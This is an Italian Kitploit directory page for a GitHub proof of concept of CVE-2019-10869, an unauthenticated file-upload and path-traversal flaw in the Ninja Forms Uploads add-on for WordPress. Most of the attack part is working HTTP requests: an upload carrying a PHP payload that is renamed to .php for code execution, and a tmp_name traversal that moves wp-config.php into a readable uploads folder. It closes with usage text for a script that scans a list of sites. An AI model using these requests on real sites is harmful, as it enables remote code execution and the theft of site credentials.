Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-10869 — (Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Caricamento file arbitrario non autenticato | Kitploit
Strumenti/GitHubGitHub/ktn1990/cve-2019-10869
Generazione di PayloadAnalisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubktn1990/cve-2019-10869

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Caricamento file arbitrario non autenticato

Vedi Repository
16627 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-10869

(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Upload Arbitrario di File Non Autenticato

Descrizione:

Path Traversal e Upload di File senza Restrizioni è presente nel plugin Ninja Forms prima della versione 3.0.23 per WordPress (quando l'add-on Uploads è attivato). Ciò consente a un attaccante di attraversare il file system per accedere ai file ed eseguire codice tramite i parametri name e tmp_name in includes/fields/upload.php (nota anche come pagina upload/submit).

POC:

Richiesta iniziale di caricamento file:

root@kitploit:~
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522

-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"

1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"

5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"

0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword

<?php phpinfo(); ?>
-----------------------------16345274557837--

Risposta:

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.0 

"data":{  
    "files":[  
       {  
          "name":"test.png.doc",
          "type":"application\/msword",
          "tmp_name":"nftmp-14FpD-test.png.doc",
          "error":0,
          "size":19
       }
    ]
 }

Quando il modulo viene inviato, il file tmp caricato inizialmente viene spostato in una nuova posizione:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.(php)",
       "tmp_name":"nftmp-BNxfG-test.png.doc",
       "fieldID":5
    }
 ]
--snip--

Il parametro “name” viene quindi “sanitizzato” dalla funzione WordPress sanitize_file_name, che essenzialmente rimuove solo un insieme di caratteri speciali predefiniti:

root@kitploit:~
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file)); 

sanitize_file_name 
Removes special characters that are illegal in filenames  
on certain operating systems and special characters 
requiring special escaping to manipulate at the command line. 
Replaces spaces and consecutive dashes with a single dash.  
Trims period, dash and underscore from beginning and end of filename.  
It is not guaranteed that this function will return a filename 
that is allowed to be uploaded. 

https://developer.wordpress.org/reference/functions/sanitize_file_name/ 

Ciò comporta lo spostamento del file tmp nella sua posizione finale: /wp-content/uploads/ninja-forms/1/test.php

Se la cartella di upload non è stata resa esplicitamente non eseguibile, il che non avviene per impostazione predefinita, ciò comporta l'esecuzione di codice:

alt text

Path Traversal nel tmp_name:

quando si invia il modulo, è anche possibile attraversare il file system tramite il parametro tmp_name come mostrato di seguito. Tieni presente che i file tmp vengono spostati nella loro nuova posizione all'interno della cartella uploads!

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850

--snip-- 
"5":{  
 "value":1,
 "id":5,
 "files":[  
    {  
       "name":"test.doc",
       "tmp_name":"../../../../wp-config.php",
       "fieldID":5
    }
 ]
--snip--

Ciò comporta lo spostamento del file wp-config.php nella seguente posizione: /wp-content/uploads/ninja-forms/1/test.doc

AUTOSCAN:

root@kitploit:~
USAGE: python script.py list-site.txt
Scarica lo strumento